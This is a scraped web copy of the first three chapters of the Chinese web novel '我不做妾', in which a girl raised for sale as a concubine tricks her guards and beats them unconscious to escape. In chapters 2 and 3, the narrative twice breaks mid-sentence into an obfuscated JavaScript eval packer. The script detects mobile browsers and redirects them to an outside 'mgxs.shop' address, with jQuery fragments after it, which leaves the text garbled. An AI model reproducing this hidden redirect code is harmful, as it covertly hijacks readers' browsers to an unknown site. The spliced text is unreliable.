《我不做妾》 1. 第1章 夏雨潇潇如帘,院中芭蕉正绿,阶下几点苍翠老苔泛着潮湿的水汽。 沈澜以手支额,斜倚红木案几,透过赭色破子棂窗望出去,忽见有个婆子冒雨匆匆赶来,踩着湿滑的台阶跌了一跤,骂了两句便爬起来,一瘸一拐的走过来。 候在一旁的婢女画屏自然也瞧见了,便笑出声:“这老虔婆被雨一淋,活像个褪了毛的鸭子!” 言语粗俗刻薄,浑然不像十三四岁。 语毕,大概是想起阿娘教她的,便刻意讨好道:“这李婆子必是见姑娘要发达了便来卖乖,姑娘可莫要被她蒙了去!” 闻言,沈澜眉眼分毫不动,只收回视线,扔下手里的《别裁集》,吩咐道:“你且看看我匣子里还有多少银钱?” 画屏正要张口。 “咯吱。”一瘸一拐的李婆子急急忙忙推开老旧的木门,见了坐在玫瑰椅上的沈澜,又堆起笑,细声细气道,“绿珠姑娘,刘妈妈唤你呢!” 沈澜这才动起来,合上书,脸色淡淡的,“知道了,一会儿就去”。 “哎呦喂,绿珠啊,刘妈妈唤你,哪敢耽搁啊!” 沈澜便笑笑。这一笑,晃得画屏和李婆子直发愣。 李婆子回过神来,啧了一声。 怪不得刘妈妈拿绿珠当眼珠子看着,有这等美色,还怕将来攀不上权贵? 沈澜仿佛没看见李婆子贪婪的目光似的,她起身,“走吧”。 出了房门,画屏跟在她身后打伞,寸步不离。 沿着抄手游廊往外走,芭蕉新绿,竹帘四卷,映出昏昏天光和蒙蒙细雨。各屋里大大小小的姑娘们陆陆续续走出来,如同百川归海般在正厅汇集。 “人都来齐了。”刘妈妈年约三十五,依然纤腰楚楚,风姿绰约。 她坐在上首,摇着一柄如意蝶恋花团扇,视线扫过下首五个已及笄的姑娘,又在沈澜身上顿了顿。 今日沈澜上身穿着月白棱素绢衫,下身一条翠蓝天青重绢刍纱裙,腰悬豆绿鸳鸯汗巾。冒雨前来,衣衫上水气盈盈,似香雾滟滟。 她未曾傅粉描眉,只松松挽了个云髻,斜插着支玲珑白玉莲簪,鸦发间一点玉芙蕖,衬得绿鬓朱颜,雪腮粉面。 刘妈妈笑盈盈地打量她两眼,满意的轻磕杯盖,不疾不徐地抿了口茶:“今儿我请你们来是为了什么,想来你们也知道。” 下首的一群姑娘半垂着头,有的不停拧着帕子,有的茫茫然视线无措,有的高昂起下巴…… 其中,以坐在沈澜对面的那个姑娘最是骄矜。她上身穿着大红织金紧身扣衫,下身一条鸳鸯戏水藕色膝裤,挑红刍纱镶边裙,梳着高髻,插着如意金梅花簪,并几把金虫草扁头簪。 她高高扬起脖颈,满怀期待的望着刘妈妈。 她自然是有资本傲气的。作为这一批瘦马的领头羊,琼华精通琴技,配上她的姿容身段,再学些伺候人的法子,必能叫男人们神魂颠倒,趋之若鹜。 可被人当货物挑拣,甚至被冠以牲畜之名买卖,又能是什么好事呢? 沈澜恭顺的垂着头,心里暗叹。 她越平静,对面的琼华就越自得,微微扬起下巴,对着沈澜矜持地点点头。 刘妈妈坐在上首,居高临下,将底下姑娘的眉眼官司尽收眼底。 “咚!” 刘妈妈搁下茶盏,警告地看了眼琼华。 琼华微僵,想起刘妈妈的手段,不禁颤抖起来。又觉得自己被沈澜看了笑话,恼得拧着帕子瞪了沈澜一眼,暗啐一声,假清高! “绿珠、琼华,含珍……”,刘妈妈一一点过所有人的名字,视线扫过去,姑娘们便一个个柔顺地低下头去。 刘妈妈慢条斯理,“三日之后,也就是六月十五的那一日,上午刘老爷要来,下午就是陈老爷、赵老爷”。 “老规矩,被挑中了,你们就一顶小轿,欢欢喜喜嫁过去”。 “可要是一个月内,没一个老爷挑中你……”,她拖长了音调,森森然地扫过底下这群姑娘。 最为高傲的琼华都煞白着脸,瑟瑟发抖,别的姑娘就更别提了。 沈澜自然也要低眉敛目,微微发抖。 刘妈妈满意地啜了口茶水,轻描淡写,“一个月内都没被挑中的话,就得被送去最下等的私窠子里。毕竟我也不能白养你们一场。” 这些姑娘及笄之年,貌美无暇,好似那最上等的官铸银锭,谁能不爱呢?于是刘妈妈看上去更为慈和。 “一年以前,我也带你们去看过了,那种地方……千人枕万人骑,客人里什么脏的烂的都有,玩的花样也多。拿针扎,拿鞭子打,一巴掌一巴掌地扇过来……” 底下姑娘被吓的脸色发白。 刘妈妈和颜悦色,如同一个母亲那般慈爱有加:“你们打从七八岁进来,都是我精心养着的,养出了一身细皮嫩肉,这要是被打了……”她叹了口气,满脸怜惜,“真是可怜呦!” “妈妈,”琼华艰难地扯出一个笑容,“您放心,我们姊妹都懂事的。” “懂事好啊!”刘妈妈站起来,只拉着琼华的手,轻轻拍了拍。 “既然如此,老规矩。”刘妈妈招招手,“来,绿珠你先来”。 沈澜顺从地缓步退回厅外。 刘妈妈坐下,慢条斯理地喝着茶。 李婆子躬身站在门边,高声道:“绿珠姑娘进——” 沈澜便从门外缓步行来,行走之间,刍纱裙掐出一捻捻细细的柳腰,颤巍巍花枝一般的身段绰约多姿,看得刘妈妈微微点头。 “绿珠姑娘过——” 正厅的门槛高,跨进来难免不好看,可沈澜自有她的办法。 只见她裙摆微微一动,如碧波生涟漪,素白潞绸绣鞋轻轻一探,只露出一点含羞带怯的鞋尖,便过了门槛,端的是身姿袅娜。 一个进、一个过,都是为了让主顾看步态。 “绿珠姑娘拜客——” 沈澜便莲步轻移,裙摆生波,对着刘妈妈盈盈一礼。 刘妈妈眉眼含笑,这一步,是为了看仪态 “绿珠姑娘上前——” 沈澜再度上前,离刘妈妈只有五步远了。 这是为了让主顾仔仔细细地看清姑娘们的脸。 见她一双远山眉如清秋月,含情眼盈盈脉脉,朱唇掩着贝齿,香腮胜比细雪,刘妈妈便满意的摇起了团扇。 “绿珠姑娘袖手——” 即刻就有伺候的另一个婆子,轻轻地挽起沈澜的袖子。 手出、臂出,白皙光洁如暖玉,一点疤痕、小痣都没有。 这是为了让主顾验验货品是否有瑕疵,看看成色如何。 不错,胳膊白皙细腻、光洁如新。 刘妈妈笑容愈深。 “绿珠姑娘睄老爷——” 沈澜微微侧身抬头,只望了一眼,便又低下头去。分明是含羞带怯,然则眼神如春日蒲草,丝丝缕缕摇曳于风中,痒得人心猿意马。 这是为了看眼睛,也是为了勾着主顾叫他买了她。 “绿珠姑娘几岁——” “回老爷,绿珠恰逢及笄之年。”沈澜一管嗓音,含着点颤,透着点怯,若空谷黄鹂,又似珠落玉盘。 这是为了听嗓音。 “绿珠姑娘请回——” 沈澜便转身,轻移莲步,背影婀娜地出去了。 这是为了看背影。 这一通看下来,步态、仪态、脸蛋、胳膊、眼神、声音、背影,基本全都看了。这才叫完成了一次见客。 也是姑娘们每日都要练习的东西。 “好!”刘妈妈拊掌大赞:“不愧是我养了七年的娇娇儿。” 说着,她扫过下首四个姑娘道:“一年前绿珠跌了一跤,意外跌进了井里,被救起来后前尘尽忘,别说诗词歌赋,叫酒唱曲,连人都不认得了。如今不过短短一年,她便能做得这般好,你们几个自当好生向她学学。” 话音刚落,沈澜便能感觉到身侧又羡又嫉的几道视线,灼热的恨不能将她盯出个洞来。 沈澜无奈,她与琼华几人关系之所以这么差,一大半都要归功于刘妈妈。 这种挑拨离间,让每个姑娘们陷入孤立无援的境地,相互憎恶,相互盯着对方,甚至争相检举揭发的手段,虽浅薄但有效。 心知肚明刘妈妈的把戏,沈澜却依然要摆出 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“我打小养着你长大,也算情同母女。”刘妈妈感慨不已,“你刚来的时候,瘦骨伶仃,那么小一个,现在都出落成大姑娘了!” 沈澜即刻感激道:“这七年里,多谢妈妈照料。”说着,她盈盈一礼。 “不必不必。”刘妈妈赶紧把她扶起来,还亲昵地拍了拍她的手,“你呀,人虽然话少,傲气些,可我也知道你是这群姑娘里心地最好的。” 沈澜只好羞涩地垂下头去,惹得刘妈妈笑容越深:“妈妈呀,如今要送你一桩大机缘”。 沈澜眼前一亮,有些羞涩,又带着些许野望,“可是有面见哪家权贵的机会?” 刘妈妈顿时满意的点点头。 绿珠不仅有着绝顶的貌美,还有着想往上爬的野心。她绝不满足于给富商们当小妾,而是卯足了劲儿要怕上权贵们的床。 这么多姑娘里,最让人放心的就是她了。 “你也知道,我姓刘,勉强攀上了刘老爷,对外也好说是本家。”刘妈妈慢慢解释,“你可知道,这刘老爷是做什么生意的?” “这刘老爷可是一年前挑走了秋雨姐姐的那位?”那会儿她初来乍到,拖着病体,看着数位富商挑走了三个瘦马。 剩下最后一个,一直没被挑走,最终被卖进了暗门子里。 见刘妈妈笑盈盈点头,沈澜迟疑道:“为我等梳洗的,都是富商,其中以盐商最富。刘老爷应当是盐商吧。可这权贵与盐商有什么关系?一个富,一个贵,沾不上边啊。” 刘妈妈意味深长的笑了笑,这绿珠有点聪明但又不够聪明,这才好呢:“你可知道,新任的两淮巡盐御史来扬州了?” “呀!”沈澜惊呼一声,“莫不是……” 刘妈妈点头,“不错,刘老爷想买了你,献给那位大人!” 沈澜大喜过望,又忽而羞涩下来,垂首,瓮声瓮气道:“不知那位大人……年纪几何?” 还真是姐儿爱俏!刘妈妈更放心了。看权贵不挑官职竟还要挑脸,说明这野心也不够大,不过就是个小姑娘罢了。 刘妈妈越发满意,便笑道:“你放心,听说那位大人年纪轻,生得俊,想来正值盛年呢!” 官员的正值盛年多半已是三四十了,足足比她大了一轮。 可沈澜还是羞涩的低下头去,双颊飞霞,细声细气道:“任由妈妈做主。” 刘妈妈拍拍她的手,“行了,那你先回吧,这几日好好梳妆,但凡能让刘老爷看重你,把你荐给那位大人,你这辈子也算有着落了。” 沈澜羞答答地点头,端端正正行了大礼,“绿珠若将来能发达,必不忘妈妈恩德。” 刘妈妈眼角的笑纹都深了,“好好好,你且去吧。” “谢过妈妈”,沈澜这才转身出去。 见她走到门口,刘妈妈忍不住又提醒了一句,“三日后刘老爷便要来了,这些日子你好好歇息,好生养着。”这可是她的摇钱树啊。 沈澜深深地望她一眼,恭顺道:“多谢妈妈提醒。” 2. 第2章 自厅里出来,又去偏厅练琵琶,刚奏完《月儿高》,又和着乐师唱小曲儿。 练习完了一日全部的课程,已是傍晚,沈澜筋疲力尽的回到房间。一回房,她顾不上歇息,忙问道:“画屏,我还有多少钱?” 早晨才问了一回,这会儿又问,画屏不禁心生鄙夷:“姑娘,你又要去赌啊?攒了七年也才五两银子,这一年来全都快赌光了。” 沈澜只是笑,不答话。为何原身日日熬眼做绣品七年却只攒了五两银子,只因画屏的娘是守门婆子,原身的绣品要靠她们去卖,也不知昧了原身多少银子。 “我马上便要飞黄腾达了,谁还缺这三五两银子!”沈澜抿嘴轻笑。 画屏嘴角往下一撇,心里发酸。若她也能这般好看,享受荣华富贵的便是她了。 “姑娘,只剩下二两银子了。”画屏捧着一堆零碎的铜钱加上一个银角子。 “够了够了。”沈澜急急接过钱,叮嘱道,“好画屏,你可莫要说出去。” 画屏点点头,跟绿珠打马吊的是她亲娘,绿珠十赌九输,最后这钱全进了她娘的口袋里。 画屏只恨不得绿珠再多输一些呢! 沈澜取了钱,待到夜深人静之时,辞别了画屏,穿着秋香色里衣,白棱底软缎鞋,为了防风又披了件大氅,提着一盏羊角灯,小心翼翼出了房门。 出了门,对出去就是东西厢房,住着琼华她们四个。沈澜资质最好,生得最美,于是她获得了独占一间房的权利。 现在是三更天多一刻钟,沈澜不疾不徐地往后院的小角门走去。 这里是距离内院最近的一扇门,出了这扇门,就是大街。 角门里,两个健硕的婆子陈荷花与王三娘正等着呢。 “绿珠姑娘,怎么才来啊!”王三娘摇着把芭蕉蒲扇嗔怪道,一张老脸皱起来,如同风干的橘皮。 沈澜嗔道:“总得等琼华她们几个睡着了,我们房间离得近,万一被她发现,非得去刘妈妈那儿告我一状不可。” “快快快!”陈荷花催促道,“莫说些有的没的,这马吊都带来了!” 沈澜吃吃笑起来:“陈妈妈这便说错了,三个人玩的可不叫马吊,叫蟾吊。” “哎呦喂,绿珠姑娘书读的多,懂得也多。”王三娘捧了她一句,就指着她一高兴,多赌点,也好多输点。 这两人都是赌鬼,沈澜这些日子晚晚都来赌,已经持续了一年,从最开始的一文到十文、几十文,早把两人的胃口养大了。 “今晚打一吊钱的。”王三娘提议道。 沈澜惊讶之下不免犹豫起来:“这、这一吊钱是不是有些太多了?” 她为难道:“我身上拢共也不过二两银子。” “哎呀,绿珠姑娘怕是一时想岔了!”陈荷花一拍大腿,劝道,“若输了大不了写张欠条,将来姑娘穿金戴银,稀罕这几两银子!还不是随手便还给我们了!” 沈澜想了想,也是,便点头道:“陈妈妈果真才思敏捷,若是年轻些,也是个扫眉才子!” 陈荷花吃吃笑起来,被沈澜哄得高兴。 王三娘在一旁早已赌瘾上头:“快着些快着些!再不赌,天都要亮了!” 三人一起在小凳上坐下来,打蟾吊,沈澜手气差,技术烂,十赌九输,不过几轮,二两银子便输的一干二净。 “哎呀,绿珠姑娘,这怎么就输了呢!”王三娘赢了钱,分明高兴,还是佯装懊恼道。 “不如不赌了?”陈荷花试探道。 “不成!”沈澜赌性正上头,哪肯善罢甘休。 两人和她赌了一年,知道她牵着不走打着倒退的脾气,便想激一激她,看看能不能榨出更多的银钱来:“不赌了不赌了,绿珠姑娘都要输光了!” “那不成!我下一盘!下一盘便能赢回来。”沈澜如同一个输红眼的赌鬼:“我房里共计有一对玉镯、三对耳坠子,四根牡丹吐蕊银簪,两根蝶恋花金簪,还有两对银臂钏。” “我如今拿首饰抵,待我走了你们便去取了这些东西。刘妈妈必定以为首饰是我带走的,见我攀上了高枝,必不敢来问我。届时你们便偷摸把这些东西卖了换成银钱,如何?” 王三娘和陈荷花对视一眼,只觉这法子倒比打欠条强多了。 方才说得欠条不过是拿来哄绿珠这傻姑娘赌钱罢了。毕竟绿珠将来攀上了达官显贵,谁敢拿着欠条去问她要钱?还不如拿首饰抵呢! “是是,绿珠姑娘当真是……”王三娘没读过书,勉为其难挤出一句“冰雪聪明!” 沈澜颇为受用的抬抬头,看了眼她二人桌上的钱数。 “只一条,我这些首饰可都是真金白银,林林总总加起来足有三十两,这还不算匠人的手艺钱呢!便是不卖,拿去给女儿当陪嫁也是好的。你们桌上加起来也不过七八两银子,这可不够。” 王三娘咬咬牙,“明日!明日我多带些银钱来!带个二十两!” 陈荷花也盘算一番,就绿珠那赌运和牌技,闭着眼都能赢。她咬咬牙:“明日我也带个二十两!” “二十两?”沈澜不满道,“这么点钱就想拿走我的首饰?” 王三娘苦笑道:“姑奶奶啊,你养在深闺不晓得,这二十两都够一家五口过个好年了,还能存下几两银子呢!” 沈澜蹙眉道:“你莫不是骗我?” 陈荷花连忙搭话:“我哪儿敢啊!” “罢了罢了。”沈澜摆摆手,“二十便二十吧。我回去好生拜拜易安居士,明日必杀你们个片甲不留!” 说罢,起身提着灯笼离开。 陈荷花和王三娘顿时美滋滋的点起眼前的银钱。 就这么一会儿功夫,俩人联手,便赢了绿珠二两银子,傻子的钱真好挣! 沈澜回了房,见她一脸怏怏不乐的躺上床,画屏便知道,这是又输钱了。 躺在床上翻来覆去睡不着,沈澜烦躁道:“画屏,去点支安神香。” 画屏心知她是输了钱心里烦睡不着,也不想惹她,便乖乖起身点了一支安神香。 谁知她朦朦胧胧快要入睡了,沈澜又道:“这大晚上的,开了窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375385|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还那么闷,画屏,你去把房门开了透透气。” 困的迷迷糊糊的画屏不想动弹,沈澜便嘟嘟囔囔地自己起身开了门。 侧耳听着沈澜上床的脚步声,又见她放下纱帐铜钩安生入睡,画屏这才闭上眼。 夏季的晚风吹拂进来,吹散了室内的热气,沈澜与画屏两人在安神香的作用下,迷迷瞪瞪地睡着了。 第二天,刘妈妈又叫沈澜等人练习功课。 吟诗作对、吹拉弹唱,都是自小要学的功夫。到了晚上,更阑人静,沈澜又提着灯笼准时准点的出现在了角门。 “哎呀,绿珠姑娘可来了!”王三娘急忙道:“快快!我二人今日可都带够了钱!” 沈澜闻言,便昂头道:“这还差不多!” 三人也不多话,就坐在角门前的小凳上,打起蟾吊来。 沈澜的赌技是真的烂,赌运也不好。就这么一会儿功夫,她竟将三支银簪子全都输了出去。 她咬着红润的嘴唇,有些犹豫要不要赌下去了。 “要不今儿就到这里吧。”沈澜道。 王三娘正赢得高兴,哪肯让她走,连忙嚷嚷起来:“输了就要走,会坏了赌运的!” 陈荷花一边盘算着自己将来能拿走多少首饰,一边忙劝道:“是极是极,人总不可能一直输下去。” 沈澜想了想:“你们说的也有几分道理。罢了,今日我必要赢回来。” 说着,又是几局,这下,全部的首饰都输光了。 见她输光了,陈荷花和王三娘强压着喜悦道:“绿珠姑娘,你这今日的牌运不怎么样啊!不如咱们今儿就不玩了。” “那可不行!”沈澜道:“后天刘老爷便要来挑人,明天晚上要准备后天白天的见面,不能玩,今儿是最后一天了!非得玩它个痛快不可!” 陈荷花犹豫道:“可绿珠姑娘,你首饰都输干净了,哪里还有银钱?” 沈澜顿时气道:“好你们俩个老虔婆!赢了钱便要走!哪里有这样的道理!” 王三娘连忙道:“绿珠姑娘,我二人不是……绿珠姑娘!绿珠姑娘!” 绿珠已经提着灯笼气极走了。 王三娘正要去追,被陈荷花一把扯住,“你追她做甚!浑身上下一文钱都没有的穷鬼有甚好追的!” “可、可她将来若是发达了,这、我们会不会得罪了她?” 听了王三娘的忧虑,陈荷花拍拍大腿,笑得泪花都要出来了:“哎呦喂,我在刘妈妈这儿待了十五年了!送走了多少姑娘!说什么攀上高枝了,那都是虚的,旁人捧她两句姑娘姑娘的,还当真了。能出头的瘦马有几个呢!还不是被卖来卖去。真要算起来,这绿珠还不如我们呢!我们好歹都是良籍,她被老子娘卖给刘妈妈的时候,签的可是奴籍!” 说着,她对着绿珠离开的方向狠狠啐了一口,“什么东西!” 沈澜浑然不知道自己挨了骂,便是知道了,她也不在意。 她一路顺顺利利回了房,照旧因为输钱气得睡不着,便点了两支安神香,又开了门散热通风。 3. 第3章 第二天又是照常练习功课,甚至因为明天刘老爷就要来了,成败在此一举,刘妈妈再三警告后早早的叫她们回去,将妆容、衣衫、首饰都选好。 院子里人人慌里慌张,忙忙乱乱。 “画屏,刘妈妈正在琼华房中,你快去问问她可有细细的茶白色素绢,若有,你且去裁一条来,这白棱绢衫得挑边才更好看些。” 画屏应了一声,急匆匆去寻刘妈妈。待她赶回来,沈澜正比划着簪子,见她进来,急急道:“这新得的银丝玲珑莲瓣簪与天青色刍纱罗裙配起来总也怪怪的。你快去跟刘妈妈说说,可有其余银簪玉钗?” 画屏刚跑回来,气还没歇一口,又被支使出去。 可院子里其余几个姑娘们的丫鬟也都忙得团团转,她也不好说什么,只啐了一口惹事精又匆匆去寻刘妈妈。 刚捧着几支玉簪几朵绒花回来,又到了午膳时分,她匆匆去厨房取了粥饭。 下午又被沈澜支使着,说要去打听琼华她几个的打扮,害得她又跑去厢房里探头探脑,差点被人轰出来。 一整日下来,腿都跑细了一圈,人也累得直喘。 画屏坐在椅子上,憋着一连串的咒骂细细清点了各项首饰,取出腰间从不离身的钥匙,要将这些金银玉饰锁回首饰盒中里。 沈澜见了,唉声叹气的摆摆手,“不必锁了,这些首饰我全输给你娘了。” 画屏又惊又喜。这赌鬼竟然将那么多的首饰都输给娘了!那这些首饰岂不是全都是她的了! 天上掉馅饼,画屏一时间欢喜的竟不知如何是好。 沈澜唉声叹气:“我明儿若是被选中,后天就得走了。今日许是我看见它们的最后一天了。且让我枕着它们睡一晚吧。” 画屏惊喜之下连忙安慰道:“姑娘莫要难过,姑娘这般品貌,嫁给达官贵人都是使得的,将来发达了,穿金戴银,哪里还看的上这些破铜烂铁。” 沈澜摆摆手,怏怏不乐的拿起首饰盒子,依依不舍的抚摸了一番,又将它放在了枕头下。 画屏美滋滋的躺在脚踏上,极快便陷入了美梦。 入夜,这一回沈澜终于没去赌钱了。 她躺在床上,焦虑的翻来覆去。 “画屏,我睡不着,你点安神香了吗?” “姑娘”,画屏在昏昏欲睡中猛地被惊醒,一骨碌从脚踏上爬起来,“婢子再去点一支”。 她打开香盒,顿时垮下脸,回身无奈道,“姑娘,这安神香今日都点了三支了,只剩下最后两支了!”这些日子姑娘输钱日日睡不着,天天点香,点着点着,这香便没了。 今日点这么多,屋子都是安神香的气息。她困到眼珠子都要睁不开了,姑娘竟然还睡不着! 沈澜叹息着翻了个身,像是在夜里难得想倾诉一下:“画屏啊,我也没法子,明儿就得见客人了,我这心里头慌得很!” “姑娘……别怕,婢子估计今晚姑娘们……都睡不着。”画屏含含糊糊地,上下眼皮子打架。 “唉。”沈澜叹了口气,“天太热,这安神香烟气又重,开着窗都没用,你且起来把门开了。” “姑娘……”,画虞别枝屏整个人都在发飘,窝在脚踏上竭力想爬起来,可头脑昏昏,眼珠子被黏一块了,实在睁不开。 “画屏,画屏。” 画屏竭力想把上下眼皮撕开。 “罢了罢了”,沈澜下了床,穿好鞋,“我去吧。” “咯吱咯吱——” 沈澜轻轻地把老旧的木门开大一些,嘀咕了一句,“可算是透气了”。 往日里也总开着门入睡,画屏甚至都没有听到沈澜脱鞋上床的窸窣声,便已熬不住去会周公了。 沈澜也打了个哈欠,嘟嘟囔囔地说,“画屏,我明儿早上要喝白粥,你记得去取”。 画屏也不知道听没听见,她劳累了一天,又嗅着安神香,此刻沉沉睡去,好梦正酣。 沈澜却没睡,她盯着头顶的素纱帐,时不时掐掐胳膊,强迫自己保持清醒。 鼓打三更,沈澜轻手轻脚地坐起来,取出白日里支开画屏时偷偷藏在寝衣里的空荷包,一把打开首饰盒,将耳坠子扔进荷包,再把金簪银簪攥成一把。 为了能在小小的荷包里塞进更多的簪子,她将尖尖的簪头塞进荷包,半截带着花纹的簪身裸露在荷包外,系紧袋口,在自己腰带上狠狠打了好几个死结。放下宽大的寝衣,根本看不出来。 紧接着,她蹑手蹑脚爬起来,披上大氅,拎起软缎底的绣花鞋,赤脚走在地上,跟猫似的,一点声音都没有。 她越过画屏,轻手轻脚地出了门。 房间的大门敞开着,老旧的木门没发出一丝丝声响,沈澜施施然走了出去。 照旧去了临街的小角门。 “谁啊?” 昏黄的灯光过来了,健仆陈荷花赶忙摇醒另一个王三娘,大声喊道,“谁过来了?!” 王三娘一个激灵,瞪大了眼睛往远处瞧。 朦胧的灯光越来越近,露出了一道剪影。 王三娘眯起眼睛一眼:“哎呀,是绿珠姑娘!” 陈荷花是个老油条,昨晚刚骂过绿珠,今晚又笑嘻嘻,“嗐,我还以为是谁呢?原来是绿珠姑娘来了。” 沈澜在小凳子上坐下来,面上格外紧张,“嬷嬷们,我实在是睡不着了”。 陈荷花和王三娘会心一笑,“绿珠姑娘是心里慌吧?” “唉。”沈澜叹息一声,“我不知道怎么的,越想睡越睡不着,点了安神香还是睡不着。” 说着,她咬咬牙,“我想了想,还是不甘心!” 陈荷花自己就是烂赌鬼,不禁感叹道:“唉,绿珠姑娘这赌运实在有些差。” 沈澜叹息道:“原本我身上没钱也就消停了。可刘妈妈为了我明儿面见刘老爷,给我做了条襦裙,还给我打了一整套头面。这整条刍纱的料子加上头面,在外头可值四五十两呢!” 四五十两! 陈荷花和王三娘被这个数字冲的头晕目眩。 “我想过了,今儿是我翻盘的最后机会了!”沈澜如同每一个输红了眼的烂赌鬼一般,“今儿最后一次了,你们赌不赌?” 王三娘犹豫了一下,刘妈妈管得严,不允许守夜婆子吃酒赌牌。每天夜里入睡前她都要巡逻一遍,从前绿珠和她们赌牌,都得等刘妈妈巡逻完走了再来的。 可今日,刘妈妈再三强调,明儿就是卖货的日子了,万不可出差错。 一时间,王三娘犹豫不决。 可陈荷花原就是个滚刀肉、老油子,守夜实在无聊,绿珠又日日来赌牌,今日不赌,原就心痒难耐。这会儿绿珠来了,她赌瘾一上来,又被四五十两冲得脑袋发昏,连忙道:“赌赌赌!” 她一答应,王三娘也动摇了。 这绿珠日日都要来赌,瘾头何其大,今日耐不住,得了裙子头面便要来赌,也是正常。更何况赌了一年,无事发生。绿珠还一心要攀附权贵,总不至于逃跑。 一想到逃跑,她忍不住去看绿珠,绿珠双腿被裹在大氅里,这会儿大氅下摆微微滑开,露出细棉布的中衣来。再看看她那双软缎鞋,分明就是她平日里赌钱时的样子嘛! “王三娘,你到底赌不赌?!”沈澜催促道,“你若不赌,我便与陈妈妈玩儿,两个人玩搭桥便是了。” 王三娘一个激灵,那可不行!那这四五十两银子岂不是要被陈荷花一人独吞了! 那可是四五十两啊! “赌赌赌!”王三娘连忙道。 “那行,快!你二人快把马吊、银钱都拿出来!”沈澜说道。 这下两人傻眼了。 马吊还好说,就藏在这一旁的芭蕉树下,翻开草丛,取出便是。可那钱从哪里来啊? “你昨日不是说今晚不能再赌了吗?我早早的把银钱放家里去了!”陈荷花急道。 那么大一笔银钱,足有二十来两银子,谁会带在身上。 沈澜不耐烦道:“那你去取来便是了,只是先说好,我那裙子加头面少说也要四五十两,你最少也得拿出四十五两银子来。否则不赌。” 四十五两啊!若是输了,这一下子损失那么大一笔银钱,不得气撅过去啊! 可是要是赢了呢!一人少说也能拿个二十两。这可是二十两啊! 想想绿珠那赌运,牌技……王三娘试探道:“不知可否打个欠条?若输了钱明儿还你。” 沈澜冷笑一声:“王妈妈,你莫顽笑。我输的钱可都是真金白银。便是要拿衣裙首饰抵押,那也是有实物的,你轻飘飘一张白条,忒不像话。” 王三娘正蹙眉,一旁的陈荷花狠狠心:“我回家拿钱去!” 王三娘一见她答应了,连忙道:“我也回家拿去!” “哎等等。”沈澜忙道:“你们俩都走了,留我一人在这儿,乌漆麻黑的,吓死个人了!” 说着,便思索道:“要不你俩轮流去取钱。反正家住的近,要不了多少功夫。先派一个人拿钱,另一个留在这里陪我说说话,待回来了再让另一个人去取便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375386|200076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 这话一说,俩人便彻底打消了疑心。哪里有要逃跑的人不支开两人,反倒要留一个人看守自己的呢! 闻言,王三娘起身道:“我年轻,腿脚快,我先去取,取四十五两,够吗?” 陈荷花刚要点头,沈澜突然道:“你们俩个都四十五两吗?” 说着,她像是意识到自己失言似的,不好意思笑笑,便不说话了。 王三娘心眼多,眨眼便想到了,如果俩人都出四十五两,都赢了,卖裙子头面的钱必定是一人一半。可若是她出的多,届时便能分到更多的钱。 一想明白,王三娘生怕陈荷花也想到,即刻催促道:“老姐姐,你快去把锁打开!我这便去取。” 说着,两人各从腰间取出两把钥匙,分别打开了角门上的两把大铜锁。 门一开,王三娘便提着灯笼,急急忙忙离开了。 这个地方,只剩下陈荷花和沈澜了。 见王三娘走远了,沈澜便过去,“陈妈妈,咱们闲着也是闲着,说说话吧”。 说着,她把放在地上的灯笼提起来到两人中间小桌子的正上方,她慢慢放下来—— “好啊,绿珠姑娘”,陈荷花滔滔不绝,“要我说……哎呀!” 沈澜左手一下子把灯笼怼到陈荷花眼前,她惊呼一声,条件反射往后闪躲。 沈澜猛地抡起小凳子,奋力砸下。 “咚”地一声,陈荷花应声倒地,额头血糊糊的。 沈澜毫不心疼。 为虎作伥的伥鬼,为了钱,送了多少姑娘进了暗无天日的私窠子里。一条一条,全是人命! 此刻陈荷花已晕,四下无人,按理沈澜已经可以开锁逃跑,但她没有。就好像她不让这俩人同时回家取钱一样。 因为如果此刻她逃跑了,只要有一个人回来喊一声,那她根本跑不远! 一切顺利,沈澜深呼吸一口气,按照计划把陈荷花拖起来藏进周围草丛里。 王三娘一走,此刻门上只有陈荷花负责的那把铜锁还锁着。 沈澜取了她的钥匙开了铜锁,紧接着,用脚抵住角门,又拿着小凳子藏在角门边上,细细的听着外头的动静。 她活了两辈子,第一次干这种事,难免心里慌张,她擦擦手汗,深呼吸两下,静静等着王三娘回来。 王三娘是一路跑着去跑着回的,回来得还挺快,她身上带了七十余两银子,这可是全副家当,生怕出事,急匆匆提着灯笼赶回来。 “老姐姐,快开门!” “嗯。”沈澜压低嗓音,随意拨动了一下已经开了却还挂在门上的铜锁,装出有人在开锁的声音。 “老姐姐,你快些!”王三娘催促道。 “好了。”沈澜压低声音,顺势松开脚,举起凳子。 门嘎吱一声便开了。 王三娘推门而入,“老姐姐,我……” “砰——” 候在角门一侧的沈澜喘着粗气,手上还捏着小凳子的腿,又抄起凳子猛地往对方脑袋上狠击了两下。 王三娘的血流得比陈荷花都多。 沈澜不敢耽搁,她搜遍王三娘身上的衣服,找到了七十二两银子,摘掉两人头上戴的首饰,通通塞进荷包里,再将荷包打成死结系在自己腰带上。 紧接着脱掉两人的衣服,将其中一件拧成一根粗粗的布条,围在自己腰上。她腰肢纤细,要想扮成健妇,首先要增加的就是腰围。 